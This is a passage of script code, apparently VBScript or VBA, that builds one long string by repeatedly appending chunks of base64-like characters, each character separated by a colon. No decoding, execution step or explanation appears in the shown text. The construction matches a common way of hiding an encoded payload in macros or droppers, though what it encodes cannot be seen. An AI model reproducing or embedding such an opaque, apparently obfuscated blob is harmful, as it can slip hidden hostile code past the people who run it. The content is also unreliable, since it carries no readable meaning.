str = str + "+:Z:6:k:L:u:H:J:G:e:4:L:I:n:G:d:W:I:G:z:p:a:P:3:Y:R:W:v:H:H:l:2:3:Y:n:f:5:G:h:U:F:r:q:R:V:c:E:H:K:y:"
str = str + "S:2:9:R:H:f:O:c:T:i:t:B:T:3:5:v:O:4:D:x:K:e:r:G:e:Y:s:C:K:S:T:u:u:7:6:w:6:n:2:f:Z:Q:7:q:s:d:M:g:L:F:"
str = str + "7:X:y:Y:N:B:4:u:T:G:o:n:x:i:Q:e:Y:p:A:8:7:p:v:Q:O:n:t:v:A:X:3:o:t:n:q:Q:G:L:C:1:Z:M:F:a:A:J:/:r:1:F:"
str = str + "f:P:4:0:g:x:Y:B:C:C:J:M:w:q:x:w:S:x:g:I:k:4:O:H:m:W:Q:Y:a:x:W:W:F:w:F:0:L:m:P:5:Z:T:4:3:M:B:w:W:p:z:"
str = str + "7:v:y:z:E:Z:r:t:b:C:4:w:F:Q:6:O:C:d:s:N:z:x:1:Z:4:X:3:N:w:p:3:U:m:W:i:n:F:K:C:z:G:k:i:t:E:0:H:q:s:Y:"
str = str + "L:X:T:2:b:S:R:7:O:/:x:R:r:p:Z:4:d:R:n:7:o:f:N:T:i:W:t:6:I:W:i:t:0:t:f:z:Z:H:i:f:E:1:y:X:8:b:Y:T:a:Z:"
str = str + "5:9:h:k:t:r:L:H:e:7:7:H:b:K:P:4:G:y:Z:t:S:T:V:m:s:J:6:d:Z:P:/:g:J:X:W:w:3:f:h:+:w:O:k:6:i:U:r:S:t:h:"
str = str + "Q:r:+:R:F:1:u:O:P:c:f:o:r:c:w:E:d:d:h:8:2:I:1:o:B:l:v:k:0:J:K:N:D:C:O:r:U:+:e:O:0:r:m:u:y:h:Q:k:F:1:"
str = str + "y:z:6:C:K:i:q:t:Z:w:c:W:M:8:h:N:N:P:m:X:H:e:3:H:h:6:t:h:Z:h:o:n:P:n:c:d:7:Y:i:p:C:T:K:y:0:A:4:q:q:m:"
str = str + "g:+:o:R:l:g:W:6:y:g:+:I:R:2:u:Y:q:c:p:x:A:y:8:z:B:K:1:b:E:o:I:t:q:c:y:h:p:1:M:x:/:a:C:a:b:1:Q:8:K:B:"
str = str + "F:x:u:T:m:I:E:y:j:y:v:q:s:1:k:w:R:Y:5:2:e:i:R:2:7:j:5:s:n:b:I:Y:0:o:g:+:6:A:h:3:Y:5:q:z:V:j:m:g:N:0:"
str = str + "p:3:d:J:M:p:w:w:n:b:W:/:+:5:P:T:5:z:1:i:L:g:S:d:Q:N:Q:A:w:i:X:g:B:6:c:W:X:u:H:M:H:3:A:V:3:b:q:N:e:E:"
str = str + "b:e:5:U:Z:Q:j:N:+:W:C:E:n:T:h:Z:Q:y:t:l:w:D:7:D:6:W:F:w:0:k:P:d:/:8:c:F:o:t:p:y:X:T:S:i:3:D:D:r:O:m:"
str = str + "+:i:L:g:y:S:F:N:f:E:K:R:R:n:K:9:X:o:l:C:0:E:y:f:Q:V:t:P:R:Q:4:5:r:6:T:b:I:f:D:w:s:7:4:l:Z:K:l:/:c:H:"
str = str + "t:4:j:i:c:E:U:k:Q:T:B:8:y:Q:7:9:c:D:6:2:q:1:E:b:H:p:5:M:X:Q:Z:a:4:b:4:1:m:w:O:A:r:/:w:e:G:2:z:/:T:Q:"
str = str + "A:4:T:M:X:q:r:5:d:/:l:m:0:C:t:9:J:t:D:s:E:r:e:Y:f:j:7:H:v:f:2:w:x:5:+:O:4:J:K:i:M:d:I:k:K:F:u:6:h:q:"
str = str + "0:w:o:7:3:g:t:D:d:r:B:h:Z:w:I:W:r:S:u:v:e:/:B:g:H:x:G:v:K:1:p:0:H:g:Z:5:5:y:s:F:N:C:y:o:V:P:e:T:6:9:"
str = str + "W:v:X:v:4:r:B:J:5:u:q:c:J:J:b:f:A:4:S:D:R:U:P:H:5:n:U:C:b:y:8:r:E:o:8:U:F:r:C:b:u:i:V:4:d:G:8:g:s:z:"
str = str + "n:G:l:E:Z:o:G:7:+:x:z:6:x:g:B:3:K:k:s:u:6:9:G:1:b:b:5:w:/:X:s:z:6:A:M:K:L:n:z:9:/:w:L:b:w:R:E:y:M:Y:"
str = str + "G:u:J:6:c:3:R:P:f:m:M:P:J:o:U:+:5:z:h:Z:J:R:a:p:v:4:E:T:r:G:X:A:U:z:o:r:E:A:d:m:s:4:r:c:z:a:n:A:m:3:"
str = str + "r:c:+:/:u:Q:V:X:b:l:B:+:Z:x:H:O:p:V:L:H:x:6:l:Y:b:C:8:f:/:p:9:1:p:r:u:u:b:B:o:O:H:d:q:x:M:s:d:5:w:0:"
str = str + "U:j:U:b:T:3:S:n:b:h:r:G:2:U:N:V:1:p:l:e:6:M:0:O:C:B:V:O:y:Z:X:R:x:s:V:b:F:R:B:h:f:A:A:A:Q:B:R:n:a:0:"
str = str + "m:x:K:a:e:a:E:1:0:K:t:0:A:v:w:T:m:b:b:Z:/:V:f:O:7:2:y:l:I:w:v:E:B:N:K:I:c:z:J:S:/:p:M:r:H:5:B:A:P:p:"
str = str + "A:c:A:i:n:Q:q:C:0:x:5:y:3:W:t:a:6:T:N:l:6:S:k:J:a:d:2:1:Q:/:8:I:d:f:G:I:J:y:s:M:9:D:o:S:g:u:o:U:M:M:"
str = str + "C:+:v:1:w:0:/:F:2:d:S:f:L:d:8:p:2:1:u:2:h:h:9:f:Q:D:r:7:i:d:a:M:T:t:O:8:s:l:3:6:N:a:0:a:s:h:3:d:1:q:"
str = str + "+:h:3:Y:0:T:q:J:T:D:U:i:u:+:/:O:T:z:N:k:R:/:c:k:q:6:b:h:v:k:k:b:+:c:V:D:s:Z:2:6:q:H:Z:c:5:4:C:x:r:x:"
str = str + "d:A:D:n:i:A:O:T:z:p:O:G:U:+:x:j:F:W:W:t:k:x:q:/:w:l:R:E:/:S:U:4:E:i:H:F:X:d:9:9:5:Q:v:c:8:y:g:K:t:0:"
str = str + "g:R:/:1:y:y:/:a:9:h:c:o:D:U:I:4:z:L:M:a:w:g:R:L:K:r:m:Q:d:b:+:F:H:P:b:Y:l:3:U:p:+:r:9:i:N:s:S:V:a:z:"
str = str + "s:/:i:k:B:t:r:6:4:4:e:4:d:U:x:O:y:3:4:e:X:q:6:Y:4:7:3:F:G:m:3:M:H:f:T:I:y:M:6:Q:U:h:m:X:t:0:a:d:q:M:"
str = str + "y:F:P:W:9:x:o:d:6:C:C:A:U:p:O:j:L:H:y:7:D:m:b:Q:O:g:P:h:R:V:w:0:f:i:v:E:h:r:r:m:D:B:3:8:f:1:B:6:X:v:"
str = str + "C:Q:m:t:4:w:s:J:1:A:b:i:N:M:t:r:u:S:h:4:G:Q:J:N:e:a:E:S:G:x:p:w:q:n:D:S:A:4:8:g:A:H:6:p:k:R:6:3:z:5:"
str = str + "B:D:t:P:C:u:s:a:N:T:i:m:4:s:w:F:h:u:W:E:l:s:A:k:w:0:i:3:x:T:t:+:V:N:b:G:2:6:2:T:B:m:U:D:4:l:5:T:d:r:"
str = str + "G:W:R:o:4:e:f:C:P:N:Z:7:W:m:B:L:f:d:8:X:u:G:X:I:u:R:T:L:+:g:l:8:b:B:W:c:z:f:s:7:I:/:+:D:y:O:H:S:K:j:"
str = str + "M:T:Z:C:p:8:8:K:l:+:a:y:h:I:z:W:T:I:Q:I:p:F:i:q:H:t:j:s:E:G:h:x:2:e:B:J:1:5:5:d:p:a:3:9:F:O:h:6:s:g:"
str = str + "k:1:n:s:C:P:i:s:z:U:5:N:w:W:W:S:X:Y:C:/:T:U:D:Q:W:g:7:O:H:o:s:L:l:U:I:G:t:1:E:z:b:c:9:d:O:r:D:Z:E:i:"
str = str + "E:U:X:5:T:u:2:A:Y:y:F:q:D:t:X:i:n:p:W:p:g:O:J:V:u:Y:U:N:S:b:s:c:Q:D:S:L:5:z:7:4:B:k:P:H:Z:e:o:H:G:l:"
str = str + "Q:P:d:l:E:Q:N:U:5:V:o:D:X:3:g:A:4:j:8:2:8:o:l:p:y:8:b:s:R:h:F:w:a:g:0:m:g:i:v:D:g:r:e:p:z:E:g:4:X:n:"
str = str + "Q:0:j:o:o:x:j:A:2:k:6:u:g:y:J:O:/:l:+:a:t:Y:f:K:S:n:V:B:6:h:0:6:v:4:x:9:P:8:/:B:E:P:h:n:K:Q:O:E:O:M:"
str = str + "o:1:9:F:S:K:W:2:G:r:e:m:h:K:y:6:u:Y:I:U:u:7:l:N:E:8:j:G:4:/:X:j:w:e:h:2:8:l:K:j:0:A:K:6:7:9:5:0:/:i:"
str = str + "m:C:S:I:l:N:L:t:t:k:A:/:r:4:w:g:K:/:h:4:3:O:E:3:2:L:h:p:F:U:j:x:J:g:n:J:A:y:L:w:1:8:D:L:3:R:O:X:u:j:"
str = str + "k:W:O:j:G:A:M:o:c:H:H:U:e:j:H:7:o:w:f:q:d:G:0:7:y:y:D:2:u:m:7:W:0:/:g:w:0:8:k:3:z:i:X:x:S:e:1:M:g:7:"
str = str + "4:/:d:a:Y:G:q:D:Q:6:q:O:J:Y:l:t:A:A:c:J:Z:M:z:d:f:V:V:P:e:Z:r:b:/:A:D:D:k:G:G:6:w:B:Y:f:4:8:Y:Z:G:r:"
str = str + "w:2:R:H:A:Q:B:l:h:b:0:O:5:5:l:x:r:1:v:8:I:k:K:N:b:d:6:V:A:Q:V:8:G:w:j:A:L:O:T:k:V:E:n:0:h:P:T:E:I:x:"
str = str + "k:9:u:q:5:/:s:m:d:g:5:1:M:o:x:b:e:W:l:y:6:t:W:R:/:y:F:Y:D:W:T:g:L:y:6:x:K:K:J:3:5:K:6:G:+:D:5:V:D:a:"
str = str + "q:x:s:T:O:8:B:F:v:K:l:Q:B:9:V:Q:x:T:G:/:D:5:6:W:Y:Z:H:a:Y:T:Z:r:G:f:W:J:V:f:F:r:q:i:J:m:K:J:K:i:d:Y:"
str = str + "w:h:5:x:O:m:D:w:6:9:9:9:S:4:B:8:K:Y:2:i:P:d:h:u:8:a:w:s:B:D:j:N:1:B:f:8:+:8:T:5:a:O:H:E:x:M:p:k:3:i:"
str = str + "s:O:o:L:Y:G:h:m:c:C:L:v:a:r:z:C:+:V:4:j:B:6:K:U:r:w:/:w:V:u:x:J:b:2:C:B:3:L:U:+:a:U:6:0:a:f:c:L:U:W:"
str = str + "X:t:v:b:t:/:p:G:8:G:E:m:2:y:2:K:m:D:y:a:f:U:B:s:V:w:L:J:S:P:H:s:h:B:x:D:j:K:V:s:N:4:1:1:J:o:+:+:+:O:"
str = str + "m:0:k:9:d:J:D:P:f:l:o:1:+:U:q:l:J:L:n:U:k:Y:+:j:A:F:U:V:g:W:l:/:Z:a:z:I:l:Z:5:t:I:0:1:x:Z:d:7:k:F:G:"
str = str + "D:1:s:y:Q:D:U:S:X:c:+:n:G:v:n:E:b:C:I:I:a:z:s:U:F:Q:P:o:r:h:c:3:C:5:i:U:t:Y:T:W:6:I:w:Z:c:b:k:p:C:G:"
str = str + "R:M:E:k:Y:q:a:/:N:R:A:W:z:j:5:4:L:d:G:u:l:t:F:d:A:Y:7:i:M:0:P:I:V:o:h:j:o:n:b:J:K:j:B:O:+:v:f:9:R:t:"
str = str + "/:F:r:+:i:1:C:M:5:2:f:Z:3:Q:V:8:0:L:G:t:B:e:E:e:Z:f:x:2:c:h:n:E:v:Q:z:X:y:r:4:d:Z:u:y:5:+:7:2:6:I:S:"
str = str + "Q:V:t:x:u:b:e:3:g:k:B:e:d:G:1:X:T:3:t:Q:w:q:G:Q:W:W:4:m:R:t:O:N:R:O:E:c:/:p:A:N:g:l:H:C:0:l:T:U:J:M:"
str = str + "e:q:H:C:y:z:z:A:j:m:N:U:K:y:t:X:a:l:V:A:m:A:8:s:Q:/:w:h:J:Q:8:4:/:j:g:P:d:P:/:g:J:r:E:y:x:h:+:q:7:7:"
str = str + "F:q:b:T:v:C:E:9:j:K:b:W:Q:v:j:y:r:L:7:2:D:1:w:8:p:3:m:D:o:N:W:5:W:y:W:e:i:l:x:i:q:/:E:a:X:f:H:0:H:B:"
str = str + "A:z:w:S:u:7:M:m:o:6:d:2:L:x:5:A:c:P:B:q:d:4:+:Q:5:z:v:d:8:E:d:X:L:M:u:k:C:n:1:D:U:T:x:7:N:9:y:k:u:v:"
str = str + "C:B:/:b:u:y:J:n:e:f:G:e:m:T:1:R:T:1:Y:o:d:n:r:l:x:s:I:a:e:u:H:v:a:P:R:I:t:6:O:L:7:o:T:F:y:4:K:K:Z:V:"
str = str + "7:u:I:U:Z:l:k:x:Y:B:q:m:c:b:X:A:4:C:B:+:n:Y:V:1:j:Q:r:D:i:n:o:Q:P:D:l:J:x:3:z:i:W:J:N:c:C:O:R:Y:z:g:"
str = str + "s:1:J:F:q:a:S:4:w:X:B:l:f:I:y:Q:8:i:c:z:d:/:o:H:B:l:P:X:w:A:x:/:9:W:g:d:F:5:h:l:h:P:/:s:Q:I:5:q:F:U:"
str = str + "L:W:i:8:t:5:Y:1:Q:m:j:p:Q:j:2:l:o:m:1:8:0:M:l:q:7:F:x:p:n:i:p:D:k:T:t:3:X:i:t:H:h:4:s:M:U:z:q:5:Y:i:"
str = str + "H:q:h:e:C:P:B:o:Q:D:L:3:p:R:P:s:2:x:c:/:V:4:X:0:A:H:o:r:m:M:A:e:9:P:5:s:X:V:X:V:8:U:6:K:q:4:4:7:e:k:"
str = str + "/:K:U:q:L:I:x:o:L:w:K:U:F:0:K:j:x:m:4:D:m:h:h:Y:v:x:y:W:N:w:c:1:j:S:S:P:z:Z:2:M:Q:5:R:k:O:J:u:Y:e:/:"
str = str + "P:u:a:U:l:N:h:c:C:2:j:P:V:G:l:Q:0:z:7:N:m:D:d:l:t:8:C:K:q:i:d:I:m:N:s:v:Y:r:n:A:S:L:N:N:e:T:x:a:X:G:"
str = str + "t:T:X:0:6:6:W:L:m:k:2:W:u:K:U:9:n:F:k:p:M:f:T:g:n:o:n:L:k:9:n:L:C:h:L:7:y:w:F:r:c:W:/:3:4:z:6:5:e:V:"
str = str + "K:E:B:s:e:N:Q:K:i:C:k:j:l:n:Z:a:r:z:+:B:u:m:K:K:k:1:W:L:K:K:6:s:1:U:4:8:c:n:b:o:y:Y:S:i:n:D:z:p:7:r:"
str = str + "2:X:Q:l:g:X:Y:p:0:U:D:L:d:5:Q:o:M:n:X:R:a:6:H:4:V:2:u:m:k:b:U:l:A:R:4:u:d:/:v:F:L:v:N:C:8:u:h:L:I:1:"
str = str + "B:l:S:y:Z:0:6:d:B:n:e:x:K:v:p:V:i:d:4:0:V:/:V:s:1:D:+:p:t:j:e:z:d:N:k:4:6:Z:P:y:n:e:J:W:b:/:m:V:i:s:"
str = str + "E:M:g:+:U:G:H:f:4:0:u:x:B:b:4:q:l:k:R:N:j:5:7:O:1:W:e:W:y:8:h:I:b:s:W:9:j:G:n:+:4:J:O:r:a:O:Q:f:t:e:"
str = str + "C:d:r:d:L:t:f:z:F:U:o:5:J:L:3:o:b:S:G:6:7:+:S:Z:k:Q:o:o:t:k:8:I:T:v:h:v:l:H:0:Z:f:J:A:H:j:3:1:u:c:5:"
str = str + "5:G:x:W:l:M:n:Z:m:M:l:P:w:J:a:a:f:O:y:I:Z:n:o:0:l:x:4:n:H:q:v:W:Z:g:d:X:y:m:C:t:B:b:+:X:Q:U:P:g:Z:T:"
str = str + "j:i:W:8:Y:Z:f:S:f:k:6:T:T:k:b:0:C:h:5:t:q:a:Y:F:i:Q:+:v:J:4:4:Z:s:E:F:C:q:2:p:D:x:+:u:y:b:a:o:M:o:K:"
str = str + "h:z:B:L:x:2:t:8:N:7:f:g:j:z:2:h:f:w:B:K:v:v:G:G:D:G:I:1:r:/:r:e:y:c:S:k:D:g:v:A:T:d:n:O:m:I:Z:3:O:h:"
str = str + "i:j:g:j:k:F:E:q:l:z:s:C:8:g:n:X:L:U:e:L:l:s:P:m:n:b:+:1:p:n:H:j:X:D:Q:Y:Z:g:r:j:d:/:X:I:z:J:B:7:u:a:"
str = str + "G:L:0:n:u:P:S:7:U:1:Z:L:g:4:6:t:3:9:/:w:w:i:8:Q:9:i:g:i:V:1:I:U:+:9:6:j:z:D:P:I:Y:W:u:F:c:s:e:g:A:T:"
str = str + "i:9:M:5:t:A:x:0:M:f:N:9:O:V:V:U:2:O:3:e:G:a:8:P:x:t:+:Q:g:G:h:y:g:A:a:b:m:r:L:7:d:B:b:q:M:d:T:g:k:m:"
str = str + "4:M:R:u:B:q:f:t:R:q:X:7:b:t:e:4:W:t:4:F:d:P:H:X:3:c:g:t:y:E:W:v:+:h:J:5:c:j:E:7:H:R:B:2:W:L:R:4:t:T:"
str = str + "S:9:R:z:V:T:l:y:L:w:N:7:t:Y:Q:D:x:N:3:p:O:Y:+:m:B:J:c:V:T:+:N:a:G:8:3:p:B:I:T:N:l:8:o:i:j:9:V:t:1:M:"
str = str + "v:/:y:+:R:P:g:/:u:y:g:x:8:3:H:t:n:H:b:p:m:6:Z:T:J:f:9:z:Y:K:g:n:1:e:K:T:r:G:0:I:8:1:+:s:I:r:u:7:z:G:"
str = str + "q:x:o:h:h:f:x:q:I:9:9:K:0:g:N:f:E:N:/:6:C:W:3:Z:w:l:5:B:t:p:U:v:K:m:V:J:2:p:D:L:r:x:A:L:A:5:e:Y:M:s:"
str = str + "j:e:j:E:r:7:G:M:j:E:W:x:l:a:Z:v:N:t:T:M:4:N:T:x:K:4:h:p:W:H:x:o:E:N:k:I:U:d:z:B:U:I:1:v:X:A:6:y:7:1:"
str = str + "G:z:I:U:X:d:R:P:A:C:t:s:e:Z:7:c:L:U:w:8:m:z:2:d:u:l:Y:x:y:a:y:j:R:v:U:J:B:l:F:V:Y:i:1:+:W:D:z:h:V:s:"
str = str + "Y:S:J:R:t:1:s:Q:G:T:q:v:X:1:K:2:a:d:8:1:y:L:0:O:5:x:f:+:l:e:+:f:I:u:A:+:w:4:0:B:1:1:o:Q:m:o:H:k:O:n:"
str = str + "y:I:n:T:g:L:t:g:A:a:c:h:E:e:7:v:l:g:o:V:p:Y:C:e:d:2:1:u:6:X:g:w:Z:t:U:t:Q:7:H:o:j:M:L:0:Q:n:w:5:c:h:"
str = str + "q:w:Y:E:o:v:G:b:v:5:P:F:u:M:K:y:j:M:6:X:i:n:S:n:5:V:O:N:k:D:V:7:G:P:Y:/:j:O:p:H:4:R:I:e:m:q:5:e:v:g:"
str = str + "I:H:T:L:M:w:A:B:h:X:d:e:F:D:V:h:l:S:V:o:Y:S:r:j:k:E:u:/:9:F:C:s:i:k:z:Y:k:b:B:l:Y:p:4:f:Q:2:P:j:v:c:"
str = str + "X:t:L:S:0:B:N:H:G:u:y:a:K:b:8:N:D:U:L:s:8:h:/:2:3:k:r:f:R:R:l:H:s:Z:e:0:w:W:M:E:X:h:J:u:F:L:o:A:I:R:"
str = str + "/:X:s:3:v:q:5:u:P:Z:2:r:R:y:S:y:8:0:G:6:c:V:w:d:7:q:c:c:f:C:1:C:3:X:P:J:X:I:o:s:8:C:w:0:v:W:Q:A:9:R:"
str = str + "k:3:w:C:8:v:k:I:O:8:o:1:+:4:Q:A:r:T:d:P:0:G:Y:1:H:t:W:z:t:X:F:M:7:S:z:X:f:Z:j:z:m:V:1:u:2:v:S:O:T:6:"
str = str + "I:g:U:y:Z:p:t:9:I:L:W:c:q:H:F:9:o:s:1:p:4:b:Z:z:l:n:6:N:/:h:K:T:j:2:J:o:D:p:D:1:s:W:c:B:R:r:5:Q:J:C:"
str = str + "b:/:x:f:v:f:O:L:e:H:b:I:u:l:W:a:h:A:h:O:I:y:R:z:l:l:S:A:Q:4:4:W:S:Z:6:1:j:R:2:Y:Y:B:h:3:q:M:R:h:E:U:"
str = str + "d:B:K:0:o:1:z:j:b:p:E:d:F:n:X:8:w:D:O:a:W:6:A:2:P:f:q:o:a:S:M:d:b:J:r:9:G:6:6:d:c:r:H:C:W:5:H:2:z:3:"
str = str + "3:V:m:Q:N:Q:7:W:6:M:/:W:z:G:T:L:H:I:f:W:G:8:J:c:D:8:L:k:w:I:w:e:Y:2:U:O:a:l:x:C:d:3:Y:D:x:v:q:k:b:3:"
str = str + "y:b:I:D:X:W:x:J:S:f:m:5:B:s:z:b:L:f:X:Y:c:p:f:A:X:j:y:I:U:D:B:U:B:U:A:4:z:v:y:y:T:j:I:O:M:H:q:x:K:6:"
str = str + "Y:o:M:r:k:6:O:s:u:C:b:D:4:p:Q:v:Q:E:Z:v:e:o:4:A:x:a:q:x:d:P:T:H:U:z:r:r:t:T:7:6:9:P:u:G:H:T:C:E:g:0:"
str = str + "W:T:F:U:S:/:t:x:O:Y:E:e:n:8:n:n:a:s:X:I:z:l:f:x:6:u:a:U:K:q:7:2:G:8:0:1:D:A:o:j:s:4:N:D:g:C:2:I:7:S:"
str = str + "E:c:q:7:u:e:O:C:z:Z:B:w:J:N:o:w:2:e:t:g:5:f:i:q:x:L:w:Q:H:Z:y:t:G:Y:q:Q:2:R:4:Y:g:4:Y:W:0:8:I:h:i:/:"
str = str + "Z:y:C:N:f:r:S:1:H:y:l:s:Z:V:D:j:D:Q:x:P:D:1:5:b:0:v:G:c:N:S:8:H:M:F:h:h:i:M:y:C:F:0:9:L:h:7:4:B:v:j:"
str = str + "V:J:a:p:r:t:o:L:n:m:l:e:p:y:j:A:J:y:s:/:R:4:8:9:Y:f:u:3:+:2:h:W:q:g:5:1:U:F:V:d:3:9:v:3:0:Q:O:7:A:y:"
str = str + "o:D:Q:T:b:h:F:0:j:Z:H:D:h:v:C:x:v:b:D:g:1:4:m:L:v:l:Y:h:b:X:v:e:4:3:W:A:M:x:0:f:P:M:W:n:5:s:7:F:7:A:"
str = str + "U:o:9:f:X:H:F:5:j:4:y:m:W:y:a:F:e:P:f:Z:l:6:M:j:E:C:S:T:7:7:Q:V:t:n:5:3:g:E:G:I:b:9:A:u:K:i:G:B:e:Z:"
str = str + "h:k:t:o:4:N:Q:2:/:l:t:e:A:l:2:0:K:v:g:x:Y:e:M:3:Z:z:4:W:L:8:e:a:4:C:l:x:E:S:R:Q:X:V:n:r:h:t:4:/:Y:1:"
str = str + "z:V:u:w:6:V:E:U:O:l:2:Z:E:o:e:z:K:p:O:y:V:i:O:9:Q:x:B:+:J:c:s:h:i:c:i:5:S:8:G:N:X:l:l:Y:W:3:n:g:p:E:"
str = str + "b:c:P:m:r:c:j:X:z:9:Y:y:i:s:h:9:v:0:E:5:D:7:V:p:k:t:/:O:e:0:2:d:o:N:l:C:I:D:A:Q:l:W:P:Y:j:g:3:E:R:8:"
str = str + "d:9:c:H:P:1:6:A:0:F:E:L:O:h:y:D:C:B:w:6:n:y:/:x:M:M:B:s:s:p:+:T:P:P:6:V:+:+:q:C:f:r:o:R:Z:8:/:+:a:P:"
str = str + "5:x:w:l:g:G:h:T:+:w:a:y:V:J:M:Z:7:i:V:J:N:u:o:f:f:o:O:E:6:f:Z:1:H:H:N:W:0:R:C:J:D:r:E:M:9:B:+:a:0:9:"
str = str + "8:s:K:s:L:p:l:s:U:H:Z:Q:L:N:n:P:e:s:U:9:J:6:/:G:w:B:9:F:R:s:W:D:Y:P:0:2:q:D:W:a:N:Y:V:U:f:g:W:7:T:z:"
str = str + "H:N:e:J:h:V:I:s:3:R:o:t:e:i:C:z:Q:f:y:b:u:K:k:z:/:g:9:+:a:D:T:L:C:X:N:l:k:H:A:E:h:v:B:T:l:6:b:2:D:s:"
str = str + "j:n:J:x:x:P:D:N:H:c:W:9:z:J:g:L:k:K:0:a:6:x:I:y:U:6:3:x:e:w:b:C:p:s:Y:p:w:R:N:n:4:l:m:P:H:6:A:f:r:W:"
str = str + "1:S:v:F:c:p:x:P:P:T:z:x:N:u:Q:8:y:I:c:a:+:T:n:n:7:g:h:8:H:s:M:6:i:S:M:G:j:6:G:I:5:h:I:g:P:M:R:T:b:A:"
str = str + "Q:m:E:S:B:2:m:f:u:5:x:/:m:H:d:X:j:T:V:m:H:b:F:t:f:S:5:I:F:W:V:d:8:t:r:9:0:2:l:f:2:l:8:3:0:A:8:N:5:6:"
str = str + "D:X:X:b:N:+:d:q:w:H:3:O:b:R:a:0:u:e:o:9:4:g:5:c:E:c:g:Q:P:X:L:0:v:U:8:m:Q:F:T:Q:l:T:+:r:x:T:1:v:1:H:"
str = str + "E:3:p:S:8:l:D:e:1:F:m:2:v:V:T:a:+:h:g:H:3:z:x:H:x:e:l:z:N:2:X:L:g:A:D:s:M:0:v:m:p:z:q:r:3:J:6:f:U:c:"
str = str + "v:+:e:s:t:l:S:y:/:Z:e:/:u:f:O:M:F:2:G:I:e:U:8:r:x:U:x:t:n:L:r:t:R:N:6:S:p:R:Y:B:b:J:5:H:K:k:0:v:P:f:"
str = str + "l:n:X:J:I:6:F:5:r:e:v:e:t:l:2:R:4:X:u:w:P:c:W:Y:O:r:C:L:3:s:7:3:g:i:l:a:+:4:A:S:r:Y:3:Q:8:X:z:F:z:i:"
str = str + "V:J:S:d:s:U:J:I:S:9:F:f:1:Q:J:C:a:S:N:b:V:6:J:i:P:G:M:I:6:4:t:x:C:r:B:v:P:z:W:1:u:u:f:M:o:v:4:X:5:u:"
str = str + "K:K:c:i:I:9:A:q:V:B:D:m:W:E:m:5:m:V:l:M:9:T:8:L:6:N:H:t:0:C:/:N:3:t:N:h:O:m:Y:B:p:f:U:+:k:A:5:t:X:A:"
str = str + "Y:Y:6:i:K:I:f:K:l:K:Z:V:U:I:4:v:1:2:K:r:w:G:h:c:0:o:U:8:0:p:I:J:s:0:3:Q:T:a:7:s:y:r:r:/:m:S:o:W:f:E:"
str = str + "T:j:h:G:x:1:g:S:5:y:y:J:b:w:S:d:l:T:X:O:X:I:s:D:r:E:G:H:P:m:d:a:l:J:H:R:R:l:j:f:9:p:R:f:Z:l:i:P:y:s:"
str = str + "P:U:N:/:n:i:7:q:V:q:H:6:B:F:P:A:t:R:E:5:x:C:V:5:R:a:n:r:b:O:6:m:p:J:4:O:j:m:Q:e:K:W:r:J:s:4:y:S:s:l:"
str = str + "J:y:8:K:4:9:G:/:t:/:k:l:6:y:F:O:m:b:G:a:0:z:L:u:e:m:d:C:U:o:O:T:y:2:Y:G:x:g:u:s:F:j:A:a:t:t:u:5:n:i:"
str = str + "4:y:k:H:b:C:g:Z:R:P:d:V:Z:z:8:T:J:w:8:T:o:n:W:q:4:k:d:e:d:K:d:V:L:/:g:I:B:V:V:U:y:q:f:7:6:J:y:H:B:P:"
str = str + "H:u:Y:P:x:P:z:F:c:d:Y:G:s:T:b:s:d:b:l:j:C:p:W:E:S:D:Y:F:k:A:n:m:l:N:L:h:D:V:9:v:s:I:Q:y:K:0:g:/:T:/:"
str = str + "G:8:4:z:X:n:Z:R:r:e:+:o:q:O:L:8:/:P:X:4:Q:X:8:K:o:v:q:x:l:G:K:B:Q:w:s:m:Y:1:t:q:u:u:D:v:k:1:0:x:V:+:"
str = str + "T:P:6:k:F:L:T:K:+:z:v:F:l:+:U:u:1:b:h:l:4:h:s:g:C:w:C:B:h:3:j:W:N:h:K:A:m:9:w:u:/:B:E:W:e:3:Q:b:y:V:"
str = str + "w:z:/:9:v:N:A:9:W:v:d:C:E:p:V:0:w:k:8:g:j:j:t:v:0:k:z:5:X:c:m:L:I:G:t:e:A:r:0:B:d:p:d:N:D:/:U:n:D:w:"
str = str + "1:r:Z:x:T:I:X:8:Z:9:2:p:M:I:B:k:E:o:b:I:F:N:l:U:/:T:h:m:k:P:+:8:b:A:A:8:n:7:b:w:E:G:l:v:/:9:T:a:D:6:"
str = str + "k:z:8:n:6:E:P:1:T:6:k:0:i:j:l:x:6:3:3:2:9:q:s:e:u:t:v:a:T:v:l:o:7:V:T:A:B:9:A:N:T:B:C:V:N:M:Z:9:7:1:"
str = str + "A:w:7:B:q:N:4:Y:+:o:E:l:C:J:B:9:H:3:f:8:z:Q:K:y:/:T:R:r:H:f:2:q:i:T:H:6:2:f:O:u:q:x:7:t:l:6:p:E:n:L:"
str = str + "z:v:n:e:k:4:v:Q:4:N:P:F:2:e:d:o:e:D:R:m:e:5:4:N:s:t:E:Y:R:l:1:x:3:Q:2:V:2:d:v:q:B:j:U:w:2:N:q:C:3:u:"
str = str + "b:X:w:j:P:D:b:1:t:+:M:v:e:2:u:H:t:u:b:8:I:D:c:L:u:k:A:Y:B:L:b:9:R:Y:U:n:G:m:T:H:H:G:x:i:j:C:Q:n:v:b:"
str = str + "4:b:e:q:P:p:V:n:W:6:g:U:3:7:a:X:l:a:C:J:L:l:1:N:d:T:U:z:l:e:l:e:q:3:Q:A:9:s:B:a:u:2:N:X:W:X:+:c:O:A:"
str = str + "l:1:n:j:X:2:H:4:1:6:p:o:R:b:S:z:V:Z:A:E:h:2:e:j:J:4:M:D:E:N:A:m:U:X:K:D:P:M:W:q:F:7:J:0:I:p:N:7:m:8:"
str = str + "B:k:2:j:E:o:2:/:s:7:N:J:w:7:g:3:O:h:n:Y:8:X:F:5:b:b:5:P:7:l:P:5:N:m:P:E:e:F:9:z:j:O:8:B:H:m:q:I:a:D:"
str = str + "x:j:o:6:M:c:r:S:Q:0:2:S:Z:K:Q:X:F:R:H:9:M:4:x:U:l:h:8:H:T:d:X:p:B:x:A:3:Y:T:z:y:Z:E:+:l:e:w:D:9:L:i:"
str = str + "l:o:F:O:F:B:p:W:t:E:e:o:n:/:H:J:U:I:/:t:6:l:R:R:0:8:E:V:h:9:T:I:m:D:+:v:2:q:+:O:F:W:M:G:L:Q:+:6:G:J:"
str = str + "Y:0:G:B:O:F:v:a:g:g:X:B:8:p:w:V:1:/:s:f:a:m:B:z:y:6:P:I:S:B:e:y:9:Z:o:K:D:H:m:i:q:j:g:+:B:s:O:a:w:C:"
str = str + "z:4:3:5:e:s:0:Y:s:W:n:I:B:J:G:1:t:e:c:U:7:Q:v:Y:A:T:H:d:w:T:s:V:k:D:7:/:4:w:k:L:V:N:y:D:+:M:D:8:/:W:"
